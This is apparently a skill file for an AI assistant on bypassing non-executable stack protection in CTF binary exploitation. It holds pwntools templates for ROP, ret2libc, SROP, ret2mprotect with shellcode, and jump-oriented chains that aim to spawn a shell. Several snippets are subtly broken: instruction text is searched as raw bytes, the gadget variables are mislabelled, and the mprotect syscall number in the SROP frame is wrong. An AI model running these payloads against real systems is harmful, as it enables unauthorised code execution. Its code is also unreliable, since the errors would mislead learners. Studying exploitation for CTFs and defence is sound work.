Nx Protection Bypass

No-Execute (NX) Protection and Bypasses

This skill helps you analyze and bypass No-Execute (NX) protection in binary exploitation challenges. NX prevents execution of code on the stack and heap, forcing attackers to use code-reuse techniques.

When to Use This Skill

Use this skill when:

• You're analyzing a binary and need to check if NX is enabled
• You've found a buffer overflow but can't execute shellcode directly
• You need to understand what bypass options are available
• You're planning a ROP, SROP, or ret2libc attack
• You encounter NX-related errors during exploitation

Quick Detection

First, determine if NX is enabled on your target binary:

# Using checksec (recommended)
checksec --file ./vuln

# Using readelf
readelf -W -l ./vuln | grep GNU_STACK
# Look for RW (no E flag) = NX enabled
# Look for RWE (has E flag) = NX disabled

# Using execstack (quick audit)
execstack -q ./vuln
# Prints "X" if stack is executable

# Runtime check
cat /proc/<pid>/maps | grep -E "\[stack\]"
# rw- = NX enabled, rwx = NX disabled

Interpretation:

• NX enabled or RW permissions = stack is non-executable (you need a bypass)
• NX disabled or RWE permissions = you can execute shellcode directly

Bypass Strategy Selection

Choose your bypass technique based on what's available:

Core Bypass Techniques

1. Return-Oriented Programming (ROP)

ROP chains reuse existing code snippets (gadgets) ending in ret to perform arbitrary operations without injecting executable code.

Basic workflow:

1. Find gadgets using ropper or radare2
2. Leak a libc/code address to resolve bases
3. Chain gadgets to set up registers
4. Call system("/bin/sh") or equivalent

Example with pwntools:

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Find gadgets
pop_rdi = next(elf.search(b'pop rdi; ret'))
ret2win = next(elf.search(b'pop rsi; ret'))

# Build chain
rop = ROP(elf)
rop.ret2win()
rop.ret2win()

# Or call libc functions
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))

2. Ret2libc

When the binary imports system and execve, you can directly call them from libc.

Requirements:

• Binary must import system (check with nm -D ./vuln | grep system)
• Need libc base address (via info leak or hardcoded for local testing)

Template:

from pwn import *

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Find addresses
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))

# Build payload
payload = flat([
    'A' * offset,  # Fill buffer to overwrite return address
    pop_rdi,       # pop rdi; ret
    binsh_addr,    # argument for system
    system_addr    # call system
])

sendline(payload)

3. Ret2syscall

When libc functions aren't available, use syscalls directly.

Common syscalls:

• __NR_execve (59 on x64, 11 on x86) - execute program
• __NR_mprotect (10 on x64, 125 on x86) - change memory permissions
• __NR_rt_sigreturn (15 on x64, 138 on x86) - for SROP

Template for execve:

from pwn import *

# x64 syscall convention: rax=syscall_num, rdi=arg1, rsi=arg2, rdx=arg3
rax = 59  # __NR_execve
rdi = 0   # NULL (argv[0])
rsi = 0   # NULL (argv)
rdx = 0   # NULL (envp)

# Find gadgets to set registers
pop_rax = next(elf.search(b'pop rax; ret'))
pop_rdi = next(elf.search(b'pop rdi; ret'))
# ... etc

# Find syscall; ret gadget
syscall_ret = next(elf.search(b'\x0f\x05\xc3'))  # syscall; ret

payload = flat([
    pop_rax, rax,
    pop_rdi, rdi,
    pop_rsi, rsi,
    pop_rdx, rdx,
    syscall_ret
])

4. Sigreturn Oriented Programming (SROP)

SROP creates a fake signal frame and calls sys_rt_sigreturn to restore arbitrary register state.

When to use:

• Only one syscall; ret gadget available
• Need full register control
• Recent CTF challenges often feature this

Basic concept:

1. Build fake sigframe structure on writable memory
2. Set all registers to desired values in the frame
3. Call sys_rt_sigreturn (syscall 15 on x64)
4. Kernel "restores" your fake context

Template:

from pwn import *

# Build fake sigframe
sigframe = SigreturnFrame(elf)
sigframe.rax = 0x1000  # mprotect
sigframe.rdi = 0x404000  # target address
sigframe.rsi = 0x1000  # size
sigframe.rdx = 7  # PROT_READ | PROT_WRITE | PROT_EXEC
sigframe.rip = 0x404000  # jump to shellcode after mprotect

# Find syscall; ret
syscall_ret = next(elf.search(b'\x0f\x05\xc3'))

payload = flat([
    'A' * offset,
    syscall_ret,
    bytes(sigframe)  # fake frame on stack
])

5. Ret2mprotect

Use mprotect to make a writable page executable, then run shellcode.

Template:

from pwn import *
from pwn import shellcraft

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Find mprotect in libc
mprotect_addr = libc.symbols['mprotect']

# Align address down to page boundary
bss_addr = elf.bss() & ~(0x1000 - 1)

# Build ROP chain
rop = ROP(libc)
rop.mprotect(bss_addr, 0x1000, 7)  # PROT_READ | WRITE | EXEC

# Payload: ROP chain + shellcode
payload = flat([
    'A' * offset,
    rop.chain(),
    asm(shellcraft.sh())  # shellcode
])

sendline(payload)

6. Jump/Call-Oriented Programming (JOP/COP)

When ret instructions are blocked (CET/IBT), use indirect jumps or calls.

Gadget patterns to find:

• jmp [rax] - jump to address in rax
• call [rdi] - call address in rdi
• jmp [rdx + 0x10] - jump to address in rdx + offset

Template:

from pwn import *

# Find JOP gadgets
jmp_rax = next(elf.search(b'\xff\xe0'))  # jmp rax
jmp_rdi = next(elf.search(b'\xff\xe7'))  # jmp edi

# Build chain using indirect jumps
payload = flat([
    'A' * offset,
    jmp_rax,
    next_gadget_addr,
    # ... continue chain
])

Common Pitfalls

1. Address randomization (ASLR): Always leak an address first to calculate libc base
2. Stack alignment: Some libc functions require 16-byte stack alignment
3. Canaries: Check for stack canaries with checksec and bypass them first
4. PIE binaries: If PIE is enabled, you need to leak the binary base too
5. Gadget availability: Not all binaries have useful gadgets - check with ropper

Debugging Tips

# Run with GDB and pwndbg/gef
gdb ./vuln

# In GDB:
context  # Show registers, stack, etc.
pi pwn    # Access pwntools in GDB

# Check NX status in GDB
info proc mappings

# Trace execution
set follow-fork-mode child
run

Related Skills

• ROP chains: See the ROP skill for detailed gadget finding and chain construction
• Ret2libc: See the ret2libc skill for libc function exploitation
• SROP: See the SROP skill for signal frame exploitation
• Info leaks: See the info-leak skill for address disclosure techniques

References

• CVE-2024-42067 - Linux kernel eBPF JIT vulnerability
• n00bzCTF 2023 - Hostel (SROP) writeup
• pwntools ROP documentation
• ROPgadget - find ROP gadgets